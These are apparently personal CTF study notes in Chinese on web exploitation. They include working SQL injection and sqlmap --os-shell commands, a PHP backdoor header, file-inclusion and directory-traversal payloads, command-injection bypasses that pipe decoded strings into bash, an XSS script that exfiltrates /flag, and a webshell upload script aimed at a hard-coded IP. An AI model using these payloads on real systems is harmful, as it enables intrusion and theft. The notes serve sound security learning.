web心得
1.js 廖雪峰
1.urldecode
urldecode是PHP函数,解码经过URL编码的字符串,解码回原始的形式;URL编码中某些字符被替换为%后跟两个十六进制形式;这是为了确保 URL 中的特殊字符不会与 URL 结构冲突
例:?id=admin 不会直接执行
需要先将a进行url编码成%61,但是如果直接输浏览器会自动解码,还是无法通过urldecode函数
所以要将%编码成%25输出
ans:?id=%2561dmin %25经过浏览器自动编码后成为%,再进入函数编码成a
最后成为adminf
2.后缀名为.phps的文件
后缀名为.phps的文件:phps即php source,phps文件就是php的源代码文件,通常用于提供给用户查看php代码,因为用户无法通过web浏览器直接查看到php文件的内容,所以需要用phps文件代替
3.robots
robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件;它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的
User-agent: * #所有爬虫,如百度、谷歌、必应
User-agent: Wandoujia Spider #禁止豌豆荚爬虫
-------------------------
Disallow: /subject_search #禁止访问 /subject_search
Disallow: / #禁止访问所有页面(完全屏蔽)
--------------------------
Allow: /ads.txt #允许访问 /ads.txt
在禁止访问的文件中可能会出现包含flag的php文件
4.index.php.bak
index.php 的备份文件名 index.php.bak 常见的备份文件后缀名有:“.git” 、“.svn”、“ .swp”“.~”、“.bak”、“.bash_history”、“.bkf”
5.cookie中常用属性的解释。
Name:这个是cookie的名字
Value:这个是cooke的值
Path:这个定义了Web站点上可以访问该Cookie的目录
Expires:这个值表示cookie的过期时间,也就是有效值,cookie在这个值之前都有效。
Size:这个表示cookie的大小
Cookie就是一些数据,用于存储服务器返回给客服端的信息,客户端进行保存。在下一次访问该网站时,客户端会将保存的cookie一同发给服务器,服务器再利用cookie进行一些操作。利用cookie我们就可以实现自动登录,保存游览历史,身份验证等功能
6.XXE(删掉cookie)
处理外部实体时,可以针对应用程序启动许多攻击。这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感信息,或利用各种方案的网络访问功能来操纵内部应用程序。
7.php后门(8.1.0)
user-agentt:zerodium字段,后面加上相应的php函数,得到执行结果:
User-Agentt:zerodiumsystem("cat /flag");一定要打分号
8.SQLMAP
(1).基于GET数据传输方式
<div>
sqlmap -u "url" #检查是否存在注入点
sqlmap -u "url" --dbs #查库名
sqlmap -u "url" -D "数据库名" --tables #查表名
sqlmap -u "url" -D "数据库名" -T “表名” --columns #查字段名
sqlmap -u "url" -D "数据库名" -T “表名” -C “字段名” --dump #显示所有内容
</div>
(2)基于POST数据传输方式
2.1 方式一:先使用BurpSuit抓包,保存抓取到的内容,将其存放在某个目录下。(如:C:\Users\Test\Desktop\Less-11.txt)
语法: sqlmap -u "URL" --data"post请求的参数“ --dbs
sqlmap -r 文件路径+文件名.txt --dbs
2.2方式二:自动搜索表单方式
语法: sqlmap -u “URL” --forms
(3)使用SQLmap获取站点的Shell(使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。)
语法: sqlmap - u "URL" --os-shell
获取权限之后 之间 find / -name "flag"
8.2 sql注入
8.2.1 常用过滤
单引号
二进制
~~ 取反
乘法 *
8.3 联合注入(有回显)
(1)判断有多少字段,’ or 1=1 union select 1,2,3 #,出现欢迎你,说明有三个字段
判断回显位
' or 1=1 union select 1,2,3 #
id=1' order by 3 --+
id=1' order by 4 --+
在2号位
(2)爆库:
union select 1,2,3,database(); # //这里得看有多少字段
(3)爆表:
' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
(4)爆字段:
' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag'#
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='note' and table_name='fl4g'--+
(5)爆值:
' or 1=1 union select 1,flag,3 from web2.flag #
?id=-1' union select 1,2,fllllag from note.fl4g--+
8.4 堆叠注入
将多条语句堆叠在一起进行查询,且可以执行多条SQL语句\
1;show databases;
1;show tables;
1;show columns from Flag
(1;set sql_mode=pipes_as_concat;select 1)//设置||为连接符而不是or ,可以绕开后端限制
8.5 特殊过滤
做到数字回显字母不回显,说明有一个 或 结构
猜测后端:
select $_POST['query'] || flag from flag
payload:*,1
9.MD5碰撞/MD4弱比较/MD5强比较
一个数字和一个字符串进行比较,PHP会把字符串转换成数字再进行比较。PHP转换的规则的是:*若字符串以数字开头,则取开头数字作为转换结果,若无则输出0。*
例如:123abc转换后应该是123,而abc则为0,0==0这当然是成立的啦!所以,0 ==’abc’是成立的
如果md的值是以0e开头的,那么就与其他的0e开头的md5值是相等的
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
如果做了字符长度限制,则通过数组绕过
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}
anser = ?hash1=0e001233333333333334557778889
通过科学计算法比较绕过,也就是说要找一个明文是一个科学计算法0e开头的,然后其加密也是0e开头后面都是数字。这样就是以科学计数法的形式做比较,由于是弱类型比较,所以是能绕过的
10.PHP混淆
(1)手动解混淆
首先将代码中的eval替换成echo,并且执行 php 文件
然后把执行输出的代码复制替换掉前面整个echo语句,
接着重复工作,继续把下面的eval函数替换成echo输出
接着继续执行,重复如此,最终成功还原成原来的代码
(2)debug解混淆
(3)编写脚本
11.PHP伪协议
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流
file:
用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:http://www.xx.com?file=file:///etc/passsword
php://input ,data://用来执行命令
1.php://input 的用法
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
2.data://用法
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
php://filter,file://用来读取文件
3.php://filter用法
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php(读取php文件需要先加密以下才能读出来,并且拿到的源码需要进行base64解码下)
http://127.0.0.1/include.php?file=php://filter/resource=/flag
4.file://用法
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
file=php://filter/read=convert.base64-encode/resource=flag.php //文件包含
12.Git
1.git源码泄露
(1)用dirsearch扫一下
(2)python GitHack.py http://www.openssl.org/.git/ 爬取源码
(3)gitcommit.py脚本(python2环境下运行)
(4)./scrabble url (kail)
(5)git stash list (展示stash)
git stash pop (备份stash中的内容)
git show stash
2.git使用
初始化一个Git仓库,使用git init命令。
添加文件到Git仓库,分两步:
- 使用命令
git add <file>,注意,可反复多次使用,添加多个文件; - 使用命令
git commit -m <message>,完成。
要随时掌握工作区的状态,使用git status命令。
如果git status告诉你有文件被修改过,用git diff可以查看修改内容。
HEAD指向的版本就是当前版本,因此,Git允许我们在版本的历史之间穿梭,使用命令git reset --hard commit_id。
穿梭前,用git log可以查看提交历史,以便确定要回退到哪个版本。
要重返未来,用git reflog查看命令历史,以便确定要回到未来的哪个版本。
工作区(write)--->暂存区(git add)--->版本库(git commit)(将暂存区放入版本库)
要克隆一个仓库,首先必须知道仓库的地址,然后使用git clone命令克隆。
Git支持多种协议,包括https,但ssh协议速度最快。
-
命令
git tag <tagname>用于新建一个标签,默认为HEAD,也可以指定一个commit id; -
命令
git tag -a <tagname> -m "blablabla..."可以指定标签信息; -
命令
git tag可以查看所有标签。 -
在GitHub上,可以任意Fork开源仓库;
-
自己拥有Fork后的仓库的读写权限;
-
可以推送pull request给官方仓库来贡献代码。
13.目录遍历
该应用程序没有针对目录遍历攻击采取任何防御措施,因此攻击者可以请求以下URL从服务器的文件系统检索任意文件:
https://insecure-website.com/loadImage?filename=../../../etc/passwd
这会导致应用程序从以下文件路径读取:
/var/www/images/../../../etc/passwd
序列../在文件路径中是有效的,意味着在目录结构中向上一级。连续的三个../序列从/var/www/images/向上至文件系统的根目录,因此实际读取的文件是:
/etc/passwd
绕过防御:
- 从根目录开始的绝对路径
filename=/etc/passwd
- 提供的文件名必须以预期的基本文件夹开始,例如
/var/www/images
filename=/var/www/images/../../../etc/passwd
- 提供的文件名必须以预期的文件扩展名结束,例如.png,使用空子节绕过
filename=../../../etc/passwd%00.png
14.Vim缓存
在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以 index.php 为例:第一次产生的交换文件名为 .index.php.swp
再次意外退出后,将会产生名为 .index.php.swo 的交换文件
第三次产生的交换文件则为 .index.php.swn
15.csrf跨站请求伪造
利用用户已经登陆的身份,在用户毫不知情的情况下,以用户的名义完成非法操作。
利用cookie
16.rce远程命令执行
符合命令:
17.文件上传漏洞
18.反序列化
一、什么是序列化和反序列化
序列化是将对象转换为字符串以便存储传输的一种方式。而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。
二、什么是反序列化漏洞
当程序在进行反序列化时,会自动调用一些函数,例如__wakeup(),__destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。
三、一些常见的魔术方法
先找eval、flag这些危险函数和关键字样(这就是链尾)
__construct() :构造函数,当创建对象时自动调用。
__destruct():析构函数,在对象的所有引用都被删除时或者对象被显式销毁时调用,当对象被销毁时自动调用。
__wakeup():进行unserialize时会查看是否有该函数,有的话有限调用。会进行初始化对象。
__ toString():当一个类被当成字符串时会被调用。
__sleep():当一个对象被序列化时调用,可与设定序列化时保存的属性。
__call() 当未定义的方法调用时,运行此函数
__invoke是对象被当做函数进行调用时就会触发,我们去找类似$a()这种的(所有类里面找)
__set是对不存在或者不可访问的变量进行赋值就会自动调用
(1)绕过_construct()
创建对象时会自动调用,给变量赋值,但题目通常需要修改变量的值
可以在创建完对象后直接给变量赋值
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
$w=serialize($w);
也可以直接修改结构
<?php
class wllm{
public $admin='admin';
public $passwd='ctf';
}
$a = new wllm();
echo serialize($a);
?>
(2)绕过__wakeup unserialize时被调用,可用于做些对象的初始化操作。
__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
原payload(被阻止)
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
绕过
O:6:"HaHaHa":**3**:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
(3)变量private protect 属性
变量在反序列化时会带上不可见字符,进行url编码就可以使其显示出来
echo urlencode(serialize($a));
(4)绕过checkcheck
system 大小写
(5)eval
system('cd ..;ls');可以一步一步搜寻flag文件
system('cat /flag');也可以一步到位
\' 确保单引号的正确引用
19.data://写入协议
允许将小型文件内容直接嵌入到网页或其他文档中,而无需实际存储为外部文件
文本 Data URI
data:text/plain,Hello World!
二进制数据(如图片),通常使用 Base64 编码
data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...(此处省略了大部分的Base64编码)
20.SVN 泄漏
当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。
./rip-svn.pl -u http://challenge-04a695076e934b57.sandbox.ctfhub.com:10800/.svn
ls -al
cat wc.db | grep -a flag
curl url.txt 访问网站源代码
cd pristine 服务端旧版本
21.ping+命令执行漏洞
ping 127.0.0.1 & ls
ping 127.0.0.1 & ls / ##显示根目录下所有文件
ping 127.0.0.1 & cat /flag
命令联合执行
; 前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a (换行)
%0d (回车)
命令绕过空格方法有:
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
内联执行
内联,就是将反引号内命令的输出作为输入执行
?ip=127.0.0.1;cat$IFS$9`ls`
$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字
这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用
类似题的大概思路
cat fl* 用*匹配任意
cat fla* 用*匹配任意
ca\t fla\g.php 反斜线绕过
cat fl''ag.php 两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash
//base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数
echo "63617420666c61672e706870" | xxd -r -p | bash
//hex编码绕过(引号可以去掉)
echo "63617420666c61672e706870" | xxd -r -p | sh
//sh的效果和bash一样
cat fl[a]g.php 用[]匹配
a=fl;b=ag;cat $a$b 变量替换
cp fla{g.php,G} 把flag.php复制为flaG
ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的)
22.前端JS绕过(禁止查看源代码)
1通过设置-隐私和安全-网站设置-JavaScript,禁止javaScipt
2.通过BP抓包,通过重放模块实现或者直接拦截包修改再转发。
23.XSS
https://blog.csdn.net/LYJ20010728/article/details/116462782
xss传入后端,让robot访问得到cookie或者后台写flag到前端
<script>
var response;
var xhr = new XMLHttpRequest();
xhr.open("GET", "/flag", true);
xhr.onreadystatechange = function ()
{ if (xhr.readyState == 4 && xhr.status == 200)
{ response = xhr.responseText;
console.log(response);
FLAG();
}
};xhr.send();
function FLAG()
{var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function ()
{ if (xhr.readyState == 4)
{ console.log("后端返回的结果:"+this.responseText);
}
};
xhr.open( "post", "/content/9772204351d6d73ed0f55fc0adfc11e1", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send("content="+ response);
}</script>
24.FUZZ参数名工具-Arjun
FUZZ参数名工具-Arjun_arjun工具-CSDN博客
arjun -u https://api.example.com/endpoint
25.服务器端请求伪造(SSRF)
SSRF | Lazzaro (lazzzaro.github.io)
26.PHP函数绕过
(1)is_numeric()
数字->非数字:
数值%20
%00数值
数值%00
非数值->数值
1 or 1 -> 0x31206f722031
(2)preg_match()
1.数组绕过
代码的第二行更换参数,把传入的代码从字符串形式改为数组形式,通常是以下三种形式
preg_match只能处理字符串,当传入的subject是数组时会返回false
$a[]='flag.php';
$a=array('flag.php');
$a=['flag.php'];
2、PCRE回溯次数限制
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
3、换行符
.不会匹配换行符,如
if (preg_match('/^.*(flag).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
}
只需要
$json="\nflag"
而在非多行模式下,$似乎会忽略在句尾的%0a
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
echo $flag;
}
只需要传入
?a=flag%0a
27.文件名绕过
28.SSTI(模板注入)
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
Fenjing - GitCode Win 10
焚靖是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,可以自动攻击给定的网站或接口,省去手动测试接口,fuzz题目WAF的时间。
启动命令:fenjing webui (firefox,别用IE)
python -m fenjing crack --url "http://challenge.yuanloo.com:23832/greet" --method POST --inputs name --action greet
29.DNSlog
遇到无回显注入时,写脚本进行盲注,设置ip代理池解决ip封禁的问题。但是盲注效率很低,所以产生了DNSlog注入。
首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。
DNS在解析的时候会留下日志,通过读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

浙公网安备 33010602011771号